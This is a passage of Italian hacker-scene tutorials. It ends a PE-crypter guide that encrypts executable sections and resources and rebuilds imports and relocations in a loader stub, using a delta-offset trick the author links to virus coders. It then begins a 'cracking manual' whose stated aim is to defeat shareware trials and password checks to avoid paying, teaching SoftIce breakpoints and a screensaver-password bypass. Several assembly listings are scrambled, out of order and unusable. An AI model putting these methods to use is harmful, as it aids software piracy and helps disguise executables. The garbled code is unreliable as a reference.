di Win32. Tuttavia la sua presenza non e' garantita dato che alcuni linker per ottimizzire (vedi borland) lo omettono per cui accertatevi sempre che questo RVA sia diverso da zero. * TimeDateStamp: questo campo ha una duplice funzione a seconda che siano presenti o meno funzioni bound (= gli address delle funzioni sono assoluti e gia'patchati dal linker o dall'utility bind (fornita con l'SDK NT) che assume una determinata imagebase per quel modulo): - nel caso di funzioni bound avra' valore diverso da zero: se vale 0xFFFFFFFF siamo in presenza di un pre-binding new-style, se invece e' diverso da 0xFFFFFFFF si tratta di pre-binding old-style - se invece vale 0 come nella stragrande maggioranza dei casi non ci sono import bound e non serve a null'altro * ForwarderChain: altro campo mistico =P indica l'indice nell'array FirstThunk del primo elemento della forwarders chain, ovvero della lista di funzioni che sono importate da un modulo in cui a loro volta sono forwarded. Si come avete intuito e' un bel casino :) cmq non abbiate a preoccuparvi.. sia le funzioni bound che quelle farwarded sono merce estremamente rara e dubito che ne incontrerete mai salvo decidiate di cryptare moduli di sistema... pessima idea cmq ;) * Name: questo RVA punta ad una stringa null-terminated con il nume del modulo * FirstThunk: questo array e' simile a quello in OriginalFirstThunk con l'unica differenza che ne e' garantita _sempre_ l'esistenza dato che gli elementi IMAGE_THUNK_DATA qui contenuti verranno patchati dal loader di windoz con gli address delle funzioni...come avete capito questo array e' tristemente =) noto come IAT nella IT avremo quindi in successione un elemento IMAGE_IMPORT_DESCRIPTOR per ogni modulo da cui importiamo una o piu' funzioni; l'array e' terminato come al solito con il classico elemento nullo. Quanto alle import bound e forwarded non mi addentro oltre in questo argomento perche' non credo che ne troverete esempi "reali" in quanto entrambi sono meccanismi utilizzati principalmente per dll di windowz stesso e soprattuto sotto NT. Nel caso vogliate approfondire vi consiglio l'ottimo documento di B. Luevelsmeyer. Molto piu' importante invece parlare degli array OriginalFirstThunk e FirstThunk. Come anticipato entrambi puntano ad due array paralleli di IMAGE_THUNK_DATA: ogni IMAGE_THUNK_DATA e' costituito da una sola DWORD che rappresenta una RVA ad un elemento IMAGE_IMPORT_BY_NAME. Ogni IMAGE_IMPORT_BY_NAME e' invece cosi' dichiarato: Hint WORD Name BYTE DUP (?) Hint rapresenta l'ordinal della funzione ma e' coerente solo se l'elemento IMAGE_THUNK_DATA che lo punta ha il bit piu alto accesso (usate la mask IMAGE_IMPORT_BY_ORDINAL). Name invece e' una stringa null-terminated che riporta il nome della funzione importata. Ecco fatto :) .. queste sono tutte le strutture coinvolte nella IT: quindi ora e' chiaro quale sia la sequenza che il loader segue: 1) legge un IMAGE_IMPORT_DESCRIPTOR -> ricava il nome del modulo ->LoadLibrary 2) legge un elemento IMAGE_THUNK_DATA dell'array FirstThunk (o OriginalFirstThunk se presente) e ricava il corrispondente elemento IMAGE_IMPORT_BY_NAME ; contemporaneamente verifica il bit IMAGE_IMPORT_BY_ORDINAL 3) dalla struct IMAGE_IMPORT_BY_NAME ricava nome/ordinal -> GetProcAddress 4) patcha nell'array FirstThunk (IAT) l'elemento IMAGE_THUNK_DATA corrente con l'address della funzione costruendo cosi' la IAT 5) ripete la 2) per ogni IMAGE_THUNK_DATA (= funzione importata) finche' incontra un elemento nullo 6) ripete la 1) per ogni IMAGE_IMPORT_DESCRIPTOR (= modulo "linkato") finche' incontra un elemento nullo Se guadardate il codice del nostro loader vedrete che la funzione HandleIT non fa altro che eseguire queste operazioni. RedirectReloc: mov eax,[loader_rva] ; rva of decryptor add eax,NULL_RELOC-ldr_start ; add delta mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress],eax mov [edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).Size], 10 ret Questa funzione e' sostanzialmente gemella della precedente solo che riaggiusta, e sostituisce nella data directory, l'RVA della nostra relocation table che come potete constatare dai sorgenti e' vuota (fatto naturale visto che saremo noi e non il loader di windoz a gestire le relocations). Vediamo ora la struttura della relocation table perche' una volta che vi sara' chiara comprenderete il funzionamento della funzione HandleReloc. La relocations table e' un sequenza di strutture IMAGE_BASE_RELOCATION che viene utilizzata dal loader per patchare i punti dell'eseguibile in cui si e' fatto uso di indirizzi assoluti relativi all'imagebse assunta a link-time e che ,nel caso di rilocazione, non sarebbero piu' validi: immaginate una cosa tipo MOV EAX,[046707].. come vedete carica un valore dall'address 0x46707.. ma cosa succederebbe se l'imagebase fosse 50000 ?! l'indirizzo 0x46707 non sarebbe piu' valido e il programma leggerebbe un valore errato o generebbe un gpf.. e' quindi necessario che il loader calcoli il DELTA (=50000-40000=10000) e quindi lo sommi all'operando dell'istruzione MOV in modo che tutto torni a posto. Ogni IMAGE_BASE_RELOCATION descrive i fixup da applicare per ognuna delle pagine da 4k (0x1000 = x86 page per chi se ne fosse dimenticato ;) in cui viene suddivisia l'immagine dell'eseguibile. Come si puo' arguire la "struttura" IMAGE_BASE_RELOCATION non ha una dimensione fissa ma se ne puo' conoscere la dimensione attraverso il suo header: IMAGE_BASE_RELOCATION RVirtualAddress SizeOfBlock TypeOffset IMAGE_BASE_RELOCATION DD DD DW 0 8 ? STRUC < header < ENDS SizeOfBlock contiene appunto la dimensione del blocco incluso l'header. Se vogliamo conoscere quante sono le relocations per questa pagina di eseguibile dobbiamo quindi fare: RelocNumber = ('SizeOfBlock'- sizeof(IMAGE_BASE_RELOCATION.header) idiv 2 Il campo RVirtualAddress rappresenta invece l'RVA a cui inizia la pagina in cui andranno applicati i fixup. Il campo TypeOffset invece e' un array di WORD, ognuna delle quali specifica 1) nel nibble piu' alto il tipo di rilocazione 2) nei restanti 12 bit lo scostamento che sommato all'RVA ci da la posizione in cui applicare il fixup. Il modo in cui applicheremo i fixup e' determinato dal tipo di rilocazione. Nei sorgenti e' presente il codice per i 4 tipi che "dovrebbero" presentarsi in eseguibili per la piattaforma x86 ma come vedete solo il tipo 3 IMAGE_REL_BASED_HIGHLOW e' effettivamente attivo: questo perche' non ho _mai_ trovato un eseguibile che presenti fixup diversi dal tipo 0 (usato solo come padding per l'allineamento a DWORD) o 3 e non ho informazioni in merito al l'utilizzo dei tipi 1,2,4. Cmq sia il modo di procedere avendo un fixup tipo IMAGE_REL_BASED_HIGHLOW e' il seguente: dobbiamo innanzitutto sommare i 12bit dell'offset all'RVA RVirtualAddress e quindi sommarci l'imagebase corrente, fatto questo all'indirizzo cosi' ottenunto dovremmo sommare _tutti_ i 32bit del DELTA. Per i restanti tipi vi rimando ai sorgenti ed alla letture. Ok, anche con le relocations siamo a posto.. ora vediamo alla risourse directory anche perche' e' quella che presenta la struttura piu' elaborata. Innanzitutto va detto che le risorse sono un composte dalle seguenti strutture organizzate gerarchicamente in un albero: IMAGE_RESOURCE_DIRECTORY IMAGE_RESOURCE_DIRECTORY_ENTRY IMAGE_RESOURCE_DATA_ENTRY il nodo iniziale e' sempre una struttura IMAGE_RESOURCE_DIRECTORY i cui campi di nostro interesse sono: * NumberOfNamedEntries * NumberOfIdEntries che indicano rispettivamente il numero di IMAGE_RESOURCE_DIRECTORY_ENTRY che utilizzano NOMI o ID numerici come identificativi. Per cui ad ogni IMAGE_RESOURCE_DIRECTORY segue un numero (NumberOfNamedEntries + NumberOfNamedEntries) di IMAGE_RESOURCE_DIRECTORY_ENTRY che ha invece questa struttura: IMAGE_RESOURCE_DIRECTORY_ENTRY NameID DD OffsetToData DD IMAGE_RESOURCE_DIRECTORY_ENTRY STRUCT ? ? ENDS Il significato di Name dipende dal bit piu' alto: se questo vale IMAGE_RESOURCE_NAME_IS_STRING i restanti 31bit sono un offset, relativo all'inzio delle risorse, ad una struttura IMAGE_RESOURCE_DIR_STRING_U che in definitiva contiene il nome (in formato UNICODE) della risorsa.. nel caso il bit non sia settato allora Name rappresenta un ID numerico. Quest'ultimo nel caso ci troviamo nella root, rappresenta il tipo di risorsa che troveremo nel ramo corrispispondente (definite con le costanti RT_xxxxx in imghdr.inc). Il campo OffsetToData e' anch'esso relativo al valore del MSB: se abbiamo che e'settata la mask IMAGE_RESOURCE_DATA_IS_DIRECTORY allora i restanti 31 bit sono un offset, sempre relativo all'inizio delle risorse, ad un'altra IMAGE_RESOURCE_DIRECTORY che descrive il nodo di livello inferiore, altrimenti se il bit non e' settato i 31bit sono l'offset ad una struttura IMAGE_RESOURCE_DATA_ENTRY di cui ci interessano: * rdOffsetToData: questo e' un RVA al blocco che contine i dati per questa risorsa * rdSize: la dimensione del blocco dati della risorsa Come vedete le strutture assumono un significato diverso a seconda del livello a cui ci troviamo, ma va detto che in genere non troverete piu' di tre livelli prima di arrivare ai dati veri e propri di una risorsa: ROOT RESOURCE_DIRECTORY : NUM ENTRY 3 | +----------------------+-----------------------+ | | | RESOURCE_ENTRY menu RESOURCE_ENTRY dialog | RESOURCE_ENTRY icon | RESOURCE_DIRECTORY: 3 | RESOURCE_DIRECTORY: 2 | +-----+-----+ | | RESOURCE_ENTRY RESOURCE_ENTRY "main" "popup" RESOURCE_DIRECTORY: 3 | +-+----+ | | 0x10 "maindlg" | +-+----+----+ | | | 0x100 0x110 0x120 | DATA_ENTRY Ok spero che la rappresentazione "grafica" sia chiara... ad ogni modo nei miei sorgenti ho scento di percorre l'albero delle risorse con una funzione ricorsiva: EnumResources: push mov push push push mov frame xor call ebp ebp,esp ebp offset @@on_r_except dword ptr fs:[0] fs:[0],esp ecx,ecx EnumResourceDirs,edi,edi,eax,ecx,ecx ; ; ; ; save safe ESP our simple handler save previous frame establish our SEH xor eax,eax jmp @@enum_exit @@on_r_except: mov eax,[esp+8] mov ebp,[eax+8] stc sbb eax,eax @@enum_exit: pop dword ptr fs:[0] mov esp,ebp pop ebp ret ; get ERR structure ; ERR + 8 = safe ESP ; remove SEH frame questa codice prepara l'attraversamento delle risorse impostando l'adress base delle risorse, il livello inziale (0) e la callback che verra' invocata ad ogni nodo (notate che ho impostato un exception frame ..la sfiga e' sempre in agguato ;)) Ho scelto di utilizzare una callback per avere a disposizione un "engine" di attraversamento dell'albero delle risorse che mi consentisse di compiere qualsiasi tipo di operazione sui vari nodi (ad esempio e' possibile rilocare l'intero tree semplicemente cambiando gli RVA dei data entry mentre lo attraversiamo) avendo a disposizione le informazioni relative al livello ed al tipo di nodo in cui ci troviamo. Infatti se guardate i sorgenti la callback utilizzate per criptare (i.e.ResCryptCallBack) le risorse e' uin grado di lasciare inalterate le risorse RT_ICON,RT_GROUP_ICON in modo che il programma possa mostrare la sua icona nell'explorer. Tutto questo avviene grazie a chiamate ricorsive fra EnumResourceDirs e EnumResourceEntry che a loro volta chiamano la callback passandogli i dati relativi al livello in cui ci troviamo nel ramo, il tipo di nodo, ed ogni informazione utile come la base delle risorse. Come al solito non riporto i sorgenti..ma credo che la spiegazione sia chiara. Bene, ora non resta che esaminare il loader. Come e' ovvio il nostro codice dovra' essere indipendente dalla imagebase altrimenti anche noi avremmo il problema della rilocazione.. bene la soluzione sta nell'usare il buon vecchio trucco del delta-offset usato dai tempi immemori del dos e tanto caro a virii coderz. In questo modo non avremmo piu' riferimenti assoluti ma solo relativi. e sara' facile calcore l'imagebase a siamo stati mappati con questo semplice codice facendo riferimento all'RVA del nostro loader: ldr_start: pushfd pushad call delta: pop sub mov imagebase sub mov ; save host reg state delta ; get delta offset ebp ebp, (delta - ldr_start) eax, ebp ; ebp = delta offset ; calculate current eax, [(loader_rva-ldr_start)+ebp] [@image_base+ebp],eax ; store for later a dir il vero potevamo anche usare GetModuleHandle, ma diciamo che cosi' fa piu scena ;)) rva mov edx,[(original_erva-ldr_start)+ebp] ; original entry point add mov edx,eax [esp+28],edx ; save host ret address trovata l'imagebase , possiamo anche calcolarci l'entrypoint originale a cui restituiremo il controllo una volta finito il nostro sporco lavoro lea push push push push mov eax,[@loader_eHandler+ebp] esp ebp eax dword ptr fs:[0] fs:[0],esp ; our hanlder ; save safe ESP ; save delta ; establish a SEH frame stabiliamo un bel exception frame per ogni eventualita' in modo che il programma in caso di problemi mostri una MessageBox piu' gentile di quello di windoz (notate che l'address dell'hander e' calcolato con il solito delta) xor next_object: decryptor table mov mov add section mov cmp pusha jz call jmp @@handle_res_d: lea xor call @@dummy_d: popa edx,edx ; read section data from edi, [@image_base+ebp] eax, [ebp+(@section_array.section_rva)+edx*8] ; RVA edi, eax ; imagebase+rva= VA of ecx, [ebp+(@section_array.section_vsize)+edx*8] ; VSize eax,[@rsrc_rva+ebp] short @@handle_res_d Decrypt short @@dummy_d eax,[@ResDecryptCallBack+ebp] ecx,ecx EnumResourceDirs,edi,edi,eax,ecx,ecx quindi il loop che decritta i dati.. che e' perfettamente simmetrico a quello dell'encryptor. L'algoritmo di crittazione e' decisamente semplice ma serve a dimostrare che il meccanismo della rilocazione funziona (se avessimo usato un'encryption additiva non ci sarebbe bisogno di prendersi cura delle rilocazioni ( A-B = C anche (A+x)-(B+x) = C). Una volta decrittati i dati delle sezioni, il nostro loader si occupa di gestire una eventuale rilocazione ( HandleReloc ), e successivamente la risoluzione delle imports con il caricamento delle DLL nello spazio di indirizzamento del programma, e la costruzione della IAT che poi verra' utilizzata dallo stesso. Eseguite queste operazioni l'immagine dell'eseguibile e' stata ricostruita in memoria e di conseguenza possiamo restituire il controllo al codice originale attraverso il canonico jmp eax (l'utilizzo eax non e' casuale: quando il loader di win9x passa il controllo al programma in eax c'e' infatti proprio l'address dell'entrypoint, quindi per eviate problemi e' meglio mimare il comportamento di windowz) pop dword ptr fs:[0] ; remove seh frame add esp,0Ch ; clean stack popa popfd jmp ; restore host regs eax ; jump to original entry point --==[ NOTE FINALI]==---------------------------------------------------------Miii , quando ho iniziato questo tutorial non pensavo credevo che avrei scritto tanto: e' davvero' lunghetto, per cui se vi siete rotti il cz, e non l'avete finito di leggere, avete tutta la mia solidarieta' =) Spero di essere stato chiaro, e abbastanza dettagliato, in modo che anche chi si avvicina per la prima volta al problema dei pe-crypters possa capirci qualcosa. Chi invece e' gia' esperto in materia mi auguro abbia apprezzato lo sforzo di coagulare le informazioni che si possono repire sull'argomento in tutorial che presenta anche un esempio pratico. Ok, ora e' il tempo dei greetings (tranquilli saranno brevissimi ;). Innanzitutto voglio ringraziare +Fravia & +HCU tutta,Stone/UCF,Virogen/PC, Hyras,Izelion, i membri del 29/a e Ikx per aver messo a dispozione del pubblico le loro conoscenze/sorgenti fondamento di molte delle mie conoscenze. Ringraziamenti anche a Matt Pietrek e Andraw Shulman, Jeffey Rithcher.. grazie di esistere :)) I miei ringraziamenti vanno poi a tutti i memberz di ringzer0 e frequentatori di #crack-it: along3x, furbet, metalhead,suby,t3x, kry0, e tutti gli altri.. un tnx speciale va a: Daemon: perche' riesce sempre a farmi sparlare di M$ e VB ;) (..salutami patrizia!) Insanity : che pubblichera' questo tute tempestivamente! ;) Genius : che continua a sperare che finiremo quel benetto api-hooker a r0 ;)) +Malattia: perche' e' un po' che non ci sentiamo.. fatti vivo ammorbato! :) Neural_Notepad_Noise ;) per essere assolutamente assurdo e per aver fatto da cavia nei test ;) Pusillus: per il suo entusiasmo incondizionato verso ringzer0 :) xAONON : per le brevi ma intense chiaccherate sul PE Yan-orel: che sta sempre ad ascoltare le mie cazzate ad ore assurde :) War-lock: perche'..... beh lasciamo stare ahaha ;)))) byz Kill3xx NOTA BY N0bodY88 = splendido, dico solo questo! Complimenti al mito Kill3xx! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ===================================================================== Manuale di Cracking - by S2 ===================================================================== 1. Prefazione Per iniziare vorrei subito dire che tutto quello che segue non e' assolutamente da prendere sul serio e non e' assolutamente da fare o provare. Anzi, e' assolutamente illegale, e quindi, se non volete dire "ciao" a un pulotto che suona al vostro campanello perche' siete diventati pirati informatici non fatelo. Bene bene bene... Detto questo un ciao a tutti voi che avete una gran voglia di fottere tutti quei programmini Shareware del cazzo che dopo trenta giorni di evaluation non funzionano piu', o quelli che danno possibilita' limitate a meno che non inseriate la mistica password associata all'user name inserito ecc... vi siete proprio rotti le balle... vero? Io almeno, confesso che me le sono rotte, e quindi... aguzzo l'ingegno e inculo tutte quelle softwarehouse che ti chiedono 20$ per il loro programma. Ma se vi devo dire la verita' non lo faccio solo per questo, ma anche per un altro motivo: Quando riesco a mettere insieme tutti i pezzi del puzzle, e vedo sullo schermo del mio bel pc una finestrella che mi dice "Tnx for registering" mi sento un grande. Perche' penso di essere uno dei pochi su questa faccia della terra a essere in grado di farlo, e quindi mi sento un figo. Comunque, quando poi ripenso ai 20$ risparmiati sono ancora piu' felice... Quindi questo manuale non e' da vedere come un manuale al crackaggio, ma piu' come un manuale della felicita'... che umorista che sono... io non devo passare tutte queste ore davanti al pc... poi mi metto a scrivere stronzate del genere... sono proprio fuso... vabbe'... mi accendo una cicca, va'. In ogni caso questo non e' un manuale di Assembler, quindi non aspettatevi particolari sull'asm, quelli li trovate in inglese in giro per Internet, ma e' una guida al crackaggio. Quello che voglio insegnare non e' come trovare le password associate agli user name, ma semplicemente come avere l'accesso. Per riuscire a scoprire la password, avete bisogno di conoscere un sacco di asm e soprattutto dovete farvi un pacco cosi' di matematica... ma questo e' un altro file... forse in futuro ve lo scrivero'... Adesso andiamo al sodo e cominciamo: 2. Breve introduzione all'Assembler Allora. Per crackare un programma bisogna disassemblarlo, cioe' tradurre il programma .exe o .com in una lista di istruzioni da noi comprensibili, per poi modificarlo in modo da fargli credere di aver inserito la password giusta, o che i 30 giorni non sono passati e cosi' via. Siccome per disassemblare i programmi da crackare si usa il SoftIce, che disassembla i programmi in Assembler (asm), bisogna sapere questo linguaggio. Voi direte, "ma non possiamo tradurre il programma in italiano, cosi' lo capiscono tutti?". E io vi rispondo, ci sto lavorando, ma quando avro' finito lo distribuiro' in una versione Shareware incrackabile! Tje'! Ok. Ora vi spiego un po' come funziona l'Assembler: 2.1 I registri La CPU del computer e' divisa in diversi registri, che ora vi spiego uno per uno cosa sono e come si chiamano, e servono per memorizzarci dei dati. I registri in tutto sono quattro, e si chiamano AX - Accumulatore BX - Base register CX - Contatore DX - Data register Ognuno di questi registri puo' essere suddiviso in una parte alta e una bassa. Per esempio AX si suddivide in AL (Low) e AH (High). Nella CPU del Pentium, che lavora a 32 bit, i registri si chiamano EAX, EBX e cosi' via. Mi spiego meglio con questo schemino: AL = 8 Bit (parte bassa del registro AX) AH = 8 Bit (parte alta del registro AX) AX = 16 Bit (formato da AL e AH messi insieme) EAX = 32 Bit (formato da AX e altri 16 Bit che pero' non sono direttamente acessibili dall'utente) Ovviamente questa suddivisione vale anche per BX, CX e DX. Poi ci sono i segment register: CS - Vuol dire Code segment. E' l'area di memoria nella quale si trova il programma che state modificando. L'indirizzo CS:IP e' l'istruzzione che state per eseguire. DS - Il Data segment. La parte di memoria nella quale si trovano i dati. La CPU di solito vi accede solo in lettura. ES - Extra segment. In questa area di memoria la CPU vi accede in scrittura. IP - Instruction pointer. E' l'indirizzo dell'istruzione che state per eseguire. SS - Stack segment. Questa e' roba complicate... non vi serve per i vostri scopi crackistici. SI - Source Index. E' un puntatore. DI - Destination index. Un'altro puntatore. BP - Base pointer. Questo viene usato insieme allo SS. SP - Stack pointer. Serve a puntare una locazione all'interno dello Stack. E' usato insieme a SS. Questi sono i registri della CPU, le informazioni qui riportate, non sono complete, ma non staro' neanche qui' a completarle, perche' per i nostri loschi scopi non sono di importanza rilevante. Se proprio volete saperne di piu' andate a leggervi una delle tante guide sull'Assembler che si trovano in giro per Internet, o forse, se avete culo, nella sezione links di questo sito. 2.2 I flag Servono ad indicare se un jump condizionale (vedi sezione istruzioni) deve essere eseguito o no. Per esempio CMP AL, BL ........... Confronta il registro al con bl JZ 3F1D ................... Salta se zero a 3F1D La prima istruzione esegue un confronto tra AL e BL. Se sono uguali il flag Z diventa 1 (attivo), nel caso contrario invece, 0 (disattivo). La seconda istruzione salta all'indirizzo specificato se il flag Z e' 0. Se per esempio in AL abbiamo il numero di giorni da quando stiamo usando il programma, e in BL, il numero di giorni che il programma deve funzionare, modificando il flag zero possiamo far credere al programma che i giorni ancora non sono finiti, e quindi possiamo continuare ad usare il programma. Capito? Mettiamo il caso: AL = 3 .................... Stiamo usando il prog. da 3 giorni BL = 1E .................. (1E = 30 in Hex) Per quanti giorni possiamo usare il prog. Premesso questo, ora eseguiamo i comandi: CMP AL, BL ........... Confronta il 3 con il 30d JZ 3F1D .................. Se i due sono uguali (tutti e due 30, flag Z = 1) salta a 3F1D e ci dice di registrare il programma Tutto chiaro? Penso di si... queste sono cazzate da capire in fondo, credo. 2.3 Le istruzioni MOV Dest. Source - Sposta un valore da Source a Dest. Per esempio MOV AL, BL - Sposta il contenuto di BL in AL. CMP var1, var2 - Confronta i due valori di var1 e var2. Per esempio CMP AL, BL - Confronta il contenuto di AL con quello in BL. Semplice no? Be'... questa istruzione funziona come una sottrazione: il valore in var2 viene sottratto da var1. Cioe', se ho 3 in AL, e 8 in BL, il risultato sara' 3 - 8 = -5. Il flag Carry (C) si attivera' (questo flag si attiva ogni volta che il numero e' negativo). Nel 99,9% dei casi questo comando viene usato per confrontare la password da voi inserita e quella giusta, oppure come nell'esempio sopra, i giorni trascorsi, e quelli trascorribili (ma esiste questa parola?). JMP label - Questa e' l'istruzione piu' bella. Esegue un salto all'indirizzo specificato. Lo troverete, di solito dopo un CMP. Ci sono diverse variazioni di questo comando, che ora vi elenchero', e vanno tutte a controllare i flag Z, O, S, C e P. Nella sua forma piu' semplice e' JMP label, cioe', salta a label qualsiasi siano i valori dei flag. Ponendo il comando CMP AX, BX, abbiamo: JNZ - Jump if not zero, AX diverso da BX JZ - Jump if zero, AX uguale a BX JB - Jump if below, AX < BX, C = 1 JA - Jump if above, AX > BX, C = 0 JNGE - Jump if not greater or equal, AX<=BX, S diverso da 0 JGE - Jump if greater or equal, AX=>BX, S = 0 JLE - Jump if less or equal, AX<=BX, Z=1 o S=F Che palle! Vabbe'... cen'e' altri di 'sti' JMP, ma non credo che vi servano per i vostri loschi scopi, quindi non preoccupatevi... anche se non li sapete non cambia un cazzo. Comunque, se proprio vi interessano li trovate in un qualsiasi manuale di Assembler in giro per Internet, o comunque nella lista dei link di questo sito qualcosa per voi c'e'... CALL label - Richiama una routine che si trova all'indirizzo specificato con label. Per esempio CALL 1F3D, esegue la routine a CS:1F3D. Poi, eseguendo la routine, quando trova un'istruzione RET torna all'istruzione dopo CALL. Facile no? Di solito, quelle chiamate con CALL sono delle routine che controllano il testo da voi inserito, oppure criptano la password che avete inserito ecc. INT n - Esegue un'interruzione. Un'interruzione e' come una routine, pero' non e' nel programma, ma da qualche parte nel DOS, o nel BIOS, dipende dalla n. Per esempio quei giochini vecchissimi che chiedevano il KeyDisk inserito usavano l'int 13 per vedere se c'e'ra il dischetto inserito o no ecc. Comunque cazzate... in Windows gli INT non esistono quasi piu'. That's it. Questi sono i comandi principali dell'asm. Spero che gli abbiate capiti, perche' senza questi poi non ci capirete una minchia nel SoftIce. Anzi... se volete approfondire, c'e' il Assembly language foundamentals tutorial che aspetta solo di essere letto e studiato. I comandi che vi ho dato qui sono pure pochi, ma comunque quelli piu' importanti. 3. L'uso del debugger Ok. Aspettate un'attimo che mi accendo una cicca... fumo troppo... ma vabbo'. Per spiegarvi come funziona il SoftIce vi traduco semplicemente le parti piu' importanti della guida che trovate anche compattata nel file SoftIce.zip. Cosi' risparmio la fatica di pensare ai comandi. Allora... intanto i consiglio di mettere una robe del genere alla fine del vostro Autoexec.bat: choice /tn,2 Caricare softice? if errorlevel 2 goto win c:\softice\winice (qui' mettete la righa che vi aggiunge il SoftIce nell'installazione) goto end :win choice /ts,1 Caricare windows? if errorlevel 2 goto end win :end Ed ora passiamo ai comandi principali del SoftIce: 3.1 I comandi del SoftIce E' impossibile debuggare bene senza sapere come funzionano i BreakPoints (Bp). Un bp e' un'istruzione per la cpu che le dice di fermare l'esecuzione del programma dopo un accesso ad una certa locazione di memoria, oppure dopo certi eventi del programma stesso e da' il controllo al debugger. Quando setti un bp del SoftIce e poi torni al programma che stai usando, SoftIce compare automaticamente quando la condizione per la quale e' settato il bp e' verificata. 3.1.2 BreakPoint Bc # : Clear Breakpoint--elimina un breakpoint messo in precedenza nel Soft-Ice; devi sapere il numero del bp... Bd # : Disable Breakpoint--disabilita il bp ma non lo cancella; devi sapere il numero del bp... Be # : Enable Breakpoint--abilita il bp che hai disabilitato in precedenza; devi sapere il numero del bp... Bl : List Breakpoints--mostra una lista di tutti i bp settati nel softice, il loro stato (abilitato, disabilitato), e il loro numero. Bmsg : Break on Windows Message. Sintassi: BMSG window handle L begin-message end-message Bpint : Break on Interrupt. Funziona solo con le interruzioni trattate da IDT (95/NT). Sintassi: BPINT int-number Bpio: Si ferma quando c'e' un accesso in lettura o scrittura ad una porta I/O con un certo indirizzio. Sintassi: BPIO port [R|W|RW] [EQ|NE|GT|LT|M value] [c=count] Bpm: Si ferma quando c'e' un accesso alla memoria in lettura (read), scrittura (write), o esecuzione (execution). Sintassi: BPM[B|W|DW] address [R|W|RW|X] Bpx : Break on execution. Sintassi: BPX address/symbol [c=count] [EQ|NE|GT|LT|M value] [c=count] Bpr : Break on memory range. Sintassi: BPR start-address end-address [R|W|RW|T|TW] [expression] Bprw : Break on program/code segment. Sintassi: BPRW module-name|selector [R|W|RW|T|TW] [expression] 3.1.2 Steppare attraverso il programma Debuggare in se' vuol dire eseguite una istruzione alla volta di un programma in modo da poter vedere come cambiano la memoria, i registri, i flags e le variabili. I principali comandi per farlo sono: P : Esegue una istruzzione e vede le CALL come una istruzzone sola. Shortcut: il tasto F10. P RET : Esegue il programma finche non trova un'istruzione RET. Shortcut: il tasto F12. T : Esegue una istruzzione. Shortcut: il tasto F8. 3.1.3 Visualizzare informazioni sul sistema Addr : Visualizza o cambia ad un contesto di indirizzi. Class : Visualizza informazioni sui Windows Classes. CPU : Visualizza i registri della CPU. Exp : Carica/Visualizza i simboli esportati da un DLL. GDT : Visualizza la Global Descriptor Table. Heap : Visualizza i Global Heap di Windows. Heap32 : Visualizza/attraversa i Global Heap di Windows. HWND : Visualizza informazioni sui Windows Handles. IDT : Visualizza la Interrupt Descriptor Table. LDT : Visualizza la Local Descriptor Table. LHeap : Visualizza i Windows Local Heap. Map32 : Visualizza una mappa di memoria di tutti i moduli a 32bit caricati in memoria. MapV86 : Visualizza la mappa di memoria DOS memory della macchina virtuale corrente. Mod : Mostra la Windows Module List. Page : Mostra le Page Table information. Proc : Visualizza informazioni su un processo. Stack : Visualizza una call stack. Sym : Imposta o visualizza un Symbol. Task : Mostra Windows Task List. VCall : Mostra i nome e indirizzi di una routine VxD chiamabile con CALL. VM : Visualizza informazioni sulle macchine virtuali. VXD : Visualizza la mappa Windows VXD. .VMM : Chiama il VMM Debug Informational Services menu. .VPICD : Chiama il VPICD Debug Information Menu. .VXDLDR : Mostra informazioni VXD. WMSG : Visualizza i nomi e numeri dei messaggi Windows. Comunque, se questi dati non vi bastano, troverete la guida citata sopra compattata nel zip che potete scaricare dalla pagina Utilitys di questo sito. Inoltre, cosa molto importante, che stavo quasi per dimenticarmi, c'e' da dire che nel SoftIce ci entrate con CTRL-D. Figo, no? 4. Iniziamo a crackare Benebenebene... adesso che vi siete sorbiti tutte le cazzate qui sopra citate, sapete come funziona il SoftIce e anche un po' di asm, contenti? Ok. Possiamo iniziare con una cosa molto semplice e anche abbastanza inutile: la password dello Screen Saver di Windows. E' l'unica cosa che penso abbiano tutti nel loro Windows, cosi' evitate di andare a scaricare prog. che magari neanche volete, solo per provare ad crackarlo. Ok? Sono un bravo ragazzo o no? Iniziamo. Caricate il SoftIce, andate nel pannello di controllo, sceglietevi uno screen saver e impostate una password... una a caso, tanto ora la rendiamo inutile. Aspettate che lo SS (polizia militare tedesca) entri in funzione, inserite una pw sbagliata e entrate nel Softice con CTRL-D. Ok. Ora siamo nel Debugger. Adesso c'e' un problema... dobbiamo intercettare una funzione di Windows. Cioe' quella che legga il testo da noi inserito nella casella di testo della pw. Per fare questo innanzitutto dobbiamo sapere in che programma e' la finestrella con la casella di testo interessata. Digitiamo TASK e il SoftIce ci da una lista di programmi al momento attivi. Uno di questi e' (nel mio caso) "oggetti volanti". Io ho scelto questo ss, ma immagino che il vostro sia un'altro. Comunque, se non siete proprio cretini, nella lista di prog. che vi da, troverete quello dello ss. Fatto questo, c'e' da fare una piccola nota sul funzionamento di Windows. Qualsiasi cosa vedete sullo schermo (un pulsante di Ok, la X nella parte destra-alta delle finestrelle di Win, una casella di testo, ...) e' un handle di Windows. Sono chiamati cosi'. La casella di testo nella quale noi abbiamo inserito la pw e' un handle. Nel SoftIce e' possibile visualizzare tutti gli handle attivi al momento con il comando HWND. Digitandolo, vedrete una lista di tutti gli hwnd attivi di tutti i programmi. Di ogni hwnd il SoftIce da informazioni sull'numero del hwnd, il programma nel quale si trova e il suo nome. Noi siamo a caccia di un hwnd chiamato EDIT, visto che e' una casella di testo. Nella lista troverete proprio l'edit che vi serve (il prog. "Oggetti Volanti" ne visualizza uno solo). Ora dobbiamo solo intercettare la funzione di Windows che legge il testo contenuto in quella casella e ci ritroveremo esattamente nella routine da fottere. Per fare questo settiamo un bp con il seguente comando: BMSG num_hwnd WM_GETTEXT per num_hwnd, ovviamente, dovrete inserire il numero del handle che vi da SoftIce (il primo a sinistra). WM_GETTEXT invece e' un messaggio di Windows che legge un testo da una casella di testo. Dopo che avete inserito il comando nella righa di comando del SoftIce, date l'invio e tornate allo Screen Saver con CTRL-D. Cliccate su Ok per confermare la vostra pw sbagliata e... magia! Riappare il SoftIce e vi trovate nella routine BOZOSLIVEHERE (un piccolo scherzo della MicroSoft, credo... cretini...) di USER. Pero', come potete vedere nella parte bassa della finestra del codice, non 